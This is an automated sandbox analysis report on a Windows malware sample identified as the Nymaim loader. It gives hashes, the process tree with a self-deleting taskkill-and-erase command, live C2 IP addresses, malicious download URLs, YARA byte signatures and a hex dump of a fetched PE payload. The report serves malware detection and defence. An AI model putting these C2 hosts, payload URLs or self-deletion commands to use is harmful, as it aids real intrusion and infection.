Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample Name:	file.exe
Analysis ID:	715158
MD5:	526fde9e61b1b4835885973331fa1616
SHA1:	ebbb0c3586b8a0244585eacb44ca125ac933ad8e
SHA256:	093741e4079a8092ba9d94653cb4f11c15fbe1e9ef53690e91628c61f0cc9440
Tags:	exe
Infos:

Detection

Nymaim

Score:	88
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Yara detected Nymaim

Antivirus detection for URL or domain

Multi AV Scanner detection for dropped file

Binary is likely a compiled AutoIt script file

Machine Learning detection for sample

May check the online IP address of the machine

C2 URLs / IPs found in malware configuration

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

One or more processes crash

May sleep (evasive loops) to hinder dynamic analysis

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

JA3 SSL client fingerprint seen in connection with other malware

Found dropped PE file which has not been started or loaded

PE file contains executable resources (Code or Archives)

IP address seen in connection with other malware

Downloads executable code via HTTP

Enables debug privileges

Drops files with a non-matching file extension (content does not match file extension)

Sample file is different than original file name gathered from version info

Drops PE files

Uses a known web browser user agent for HTTP communication

Checks if the current process is being debugged

Binary contains a suspicious time stamp

Uses taskkill to terminate processes

Dropped file seen in connection with other malware

Creates a process in suspended mode (likely to inject code)

Classification

×

Process Tree

System is w10x64

file.exe (PID: 3196 cmdline: C:\Users\user\Desktop\file.exe MD5: 526FDE9E61B1B4835885973331FA1616)

WerFault.exe (PID: 4088 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 3196 -s 528 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

WerFault.exe (PID: 1364 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 3196 -s 700 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

WerFault.exe (PID: 6080 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 3196 -s 724 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

WerFault.exe (PID: 6064 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 3196 -s 760 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

WerFault.exe (PID: 5216 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 3196 -s 768 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

WerFault.exe (PID: 4072 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 3196 -s 848 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

WerFault.exe (PID: 2008 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 3196 -s 840 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

WerFault.exe (PID: 6036 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 3196 -s 1032 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

WerFault.exe (PID: 5204 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 3196 -s 1292 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

cmd.exe (PID: 5760 cmdline: C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 4744 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

Cleaner.exe (PID: 5208 cmdline: "C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe" MD5: 04514BD4962F7D60679434E0EBE49184)

WerFault.exe (PID: 3608 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 3196 -s 1552 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

cmd.exe (PID: 1388 cmdline: "C:\Windows\System32\cmd.exe" /c taskkill /im "file.exe" /f & erase "C:\Users\user\Desktop\file.exe" & exit MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 4392 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

taskkill.exe (PID: 2324 cmdline: taskkill /im "file.exe" /f MD5: 15E2E0ACD891510C6268CB8899F2A1A1)

cleanup

Malware Configuration

Threatname: Nymaim

{"C2 addresses": ["208.67.104.97", "85.31.46.167"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000000.309205181.00000000021C0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
00000000.00000000.309205181.00000000021C0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000000.324269337.00000000021C0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
00000000.00000000.324269337.00000000021C0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000000.303645653.00000000021C0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
00000000.00000000.303645653.00000000021C0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000000.313758394.0000000000400000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
00000000.00000000.314053861.00000000021C0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
00000000.00000000.314053861.00000000021C0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000000.340099417.00000000021C0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
00000000.00000000.340099417.00000000021C0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000000.345695495.0000000000739000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x10b0:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000000.303166143.0000000000400000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
00000000.00000000.308578404.0000000000400000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
00000000.00000000.313966134.0000000000739000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x10b0:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000000.352618407.0000000000739000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x10b0:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000000.318572521.0000000000400000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
00000000.00000000.352139791.00000000021C0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
00000000.00000000.352139791.00000000021C0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000000.308973675.0000000000400000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
00000000.00000000.339625229.0000000000400000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
00000000.00000000.319401695.0000000000739000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x10b0:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000000.337565462.0000000000400000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
00000000.00000000.319567616.00000000021C0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
00000000.00000000.319567616.00000000021C0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000000.318795705.0000000000739000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x10b0:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000000.302663434.0000000000739000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x10b0:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000000.313553571.00000000021C0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
00000000.00000000.313553571.00000000021C0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000000.309109018.0000000000739000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x10b0:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000000.346627601.00000000021C0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
00000000.00000000.346627601.00000000021C0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000000.324683404.0000000000739000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x10b0:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000003.301103570.0000000002200000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
00000000.00000000.338909457.00000000021C0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
00000000.00000000.338909457.00000000021C0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000000.319176574.0000000000400000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
00000000.00000000.352775062.00000000021C0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
00000000.00000000.352775062.00000000021C0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000000.324752364.00000000021C0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
00000000.00000000.324752364.00000000021C0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000000.324022607.0000000000400000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
00000000.00000000.352494062.0000000000400000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
00000000.00000000.313496806.0000000000739000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x10b0:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000000.339850258.0000000000739000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x10b0:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000000.337744676.0000000000739000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x10b0:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000000.345502074.0000000000400000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
00000000.00000000.346524213.0000000000739000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x10b0:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000000.346406888.0000000000400000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
00000000.00000000.313405136.0000000000400000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
00000000.00000000.308781752.00000000021C0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
00000000.00000000.308781752.00000000021C0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000000.318868933.00000000021C0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
00000000.00000000.318868933.00000000021C0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000000.303421378.0000000000739000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x10b0:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000000.345921160.00000000021C0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
00000000.00000000.345921160.00000000021C0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000000.324526447.0000000000400000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
00000000.00000000.302389344.0000000000400000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
00000000.00000000.351860425.0000000000400000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
00000000.00000000.308709997.0000000000739000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x10b0:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000000.352027898.0000000000739000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x10b0:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000000.302874171.00000000021C0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
00000000.00000000.302874171.00000000021C0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000000.324186328.0000000000739000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x10b0:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
Click to see the 60 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.file.exe.400000.5.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
0.0.file.exe.21c0e67.20.raw.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
0.0.file.exe.21c0e67.26.raw.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
0.0.file.exe.400000.23.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
0.0.file.exe.21c0e67.14.raw.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
0.0.file.exe.21c0e67.10.raw.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
0.0.file.exe.21c0e67.20.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
0.0.file.exe.400000.0.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
0.0.file.exe.400000.1.raw.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
0.0.file.exe.400000.27.raw.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
0.0.file.exe.21c0e67.8.raw.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
0.0.file.exe.21c0e67.28.raw.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
0.0.file.exe.400000.19.raw.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
0.0.file.exe.400000.13.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
0.0.file.exe.21c0e67.6.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
0.0.file.exe.400000.7.raw.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
0.0.file.exe.400000.31.raw.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
0.0.file.exe.21c0e67.32.raw.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
0.0.file.exe.400000.9.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
0.0.file.exe.400000.11.raw.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
0.0.file.exe.21c0e67.26.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
0.0.file.exe.21c0e67.24.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
0.0.file.exe.400000.1.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
0.0.file.exe.400000.25.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
0.0.file.exe.21c0e67.18.raw.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
0.0.file.exe.21c0e67.24.raw.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
0.0.file.exe.21c0e67.4.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
0.0.file.exe.400000.3.raw.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
0.0.file.exe.21c0e67.22.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
0.0.file.exe.21c0e67.6.raw.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
0.0.file.exe.21c0e67.30.raw.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
0.0.file.exe.400000.17.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
0.0.file.exe.400000.31.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
0.0.file.exe.21c0e67.28.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
0.0.file.exe.21c0e67.4.raw.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
0.0.file.exe.400000.11.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
0.0.file.exe.400000.13.raw.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
0.0.file.exe.400000.19.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
0.0.file.exe.21c0e67.18.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
0.0.file.exe.21c0e67.16.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
0.0.file.exe.400000.21.raw.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
0.0.file.exe.21c0e67.32.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
0.0.file.exe.21c0e67.30.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
0.0.file.exe.400000.15.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
0.0.file.exe.21c0e67.16.raw.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
0.0.file.exe.400000.5.raw.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
0.0.file.exe.21c0e67.12.raw.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
0.0.file.exe.21c0e67.2.raw.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
0.0.file.exe.21c0e67.10.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
0.0.file.exe.21c0e67.22.raw.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
0.0.file.exe.21c0e67.8.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
0.0.file.exe.400000.7.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
0.0.file.exe.400000.29.raw.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
0.0.file.exe.400000.29.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
0.0.file.exe.400000.21.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
0.3.file.exe.2200000.0.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
0.0.file.exe.21c0e67.2.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
0.0.file.exe.400000.27.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
0.0.file.exe.21c0e67.12.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
0.0.file.exe.400000.25.raw.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
0.0.file.exe.400000.17.raw.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
0.0.file.exe.21c0e67.14.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
0.0.file.exe.400000.9.raw.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
0.0.file.exe.400000.15.raw.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
0.0.file.exe.400000.3.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
0.3.file.exe.2200000.0.raw.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
0.0.file.exe.400000.23.raw.unpack	JoeSecurity_Nymaim	Yara detected Nymaim	Joe Security
Click to see the 62 entries

Sigma Signatures

⊘No Sigma rule has matched

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://208.67.104.97/powfhxhxcjzx/ping.php?sub=NOSUB&stream=start&substream=mixinte	URL Reputation: Label: malware
Source: http://208.67.104.97/powfhxhxcjzx/ping.php?sub=NOSUB&stream=mixtwo&substream=mixinte	URL Reputation: Label: malware
Source: http://208.67.104.97/powfhxhxcjzx/ping.php?sub=NOSUB&stream=start&subst	URL Reputation: Label: malware
Source: http://171.22.30.106/library.php	URL Reputation: Label: malware

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\soft[1]	ReversingLabs: Detection: 28%
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	ReversingLabs: Detection: 28%

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: 00000000.00000000.309205181.00000000021C0000.00000040.00001000.00020000.00000000.sdmp

Malware Configuration Extractor: Nymaim {"C2 addresses": ["208.67.104.97", "85.31.46.167"]}

Source: file.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown

HTTPS traffic detected: 148.251.234.83:443 -> 192.168.2.5:49701 version: TLS 1.2

Source:	Binary string: ^\C:\car.pdb source: file.exe
Source:	Binary string: C:\car.pdb source: file.exe

Networking

May check the online IP address of the machine

Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe

DNS query: name: iplogger.org

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	IPs: 208.67.104.97
Source: Malware configuration extractor	IPs: 85.31.46.167

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Joe Sandbox View	IP Address: 148.251.234.83 148.251.234.83
Source: Joe Sandbox View	IP Address: 148.251.234.83 148.251.234.83

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 03 Oct 2022 15:29:59 GMTServer: Apache/2.4.41 (Ubuntu)Pragma: publicExpires: 0Cache-Control: must-revalidate, post-check=0, pre-check=0Cache-Control: privateContent-Disposition: attachment; filename="dll";Content-Transfer-Encoding: binaryContent-Length: 242176Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 4a 6c ef 58 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0b 00 00 a8 03 00 00 08 00 00 00 00 00 00 2e c6 03 00 00 20 00 00 00 e0 03 00 00 00 00 10 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 04 00 00 02 00 00 00 00 00 00 03 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 d4 c5 03 00 57 00 00 00 00 e0 03 00 10 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 34 a6 03 00 00 20 00 00 00 a8 03 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 10 04 00 00 00 e0 03 00 00 06 00 00 00 aa 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 00 04 00 00 02 00 00 00 b0 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 c6 03 00 00 00 00 00 48 00 00 00 02 00 05 00 a0 60 02 00 34 65 01 00 01 00 00 00 00 00 00 00 90 55 01 00 10 0b 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7d 00 59 00 79 00 3d 00 7b 00 58 00 78 00 3d 00 8a 72 93 00 00 70 04 6f 32 00 00 0a 8c 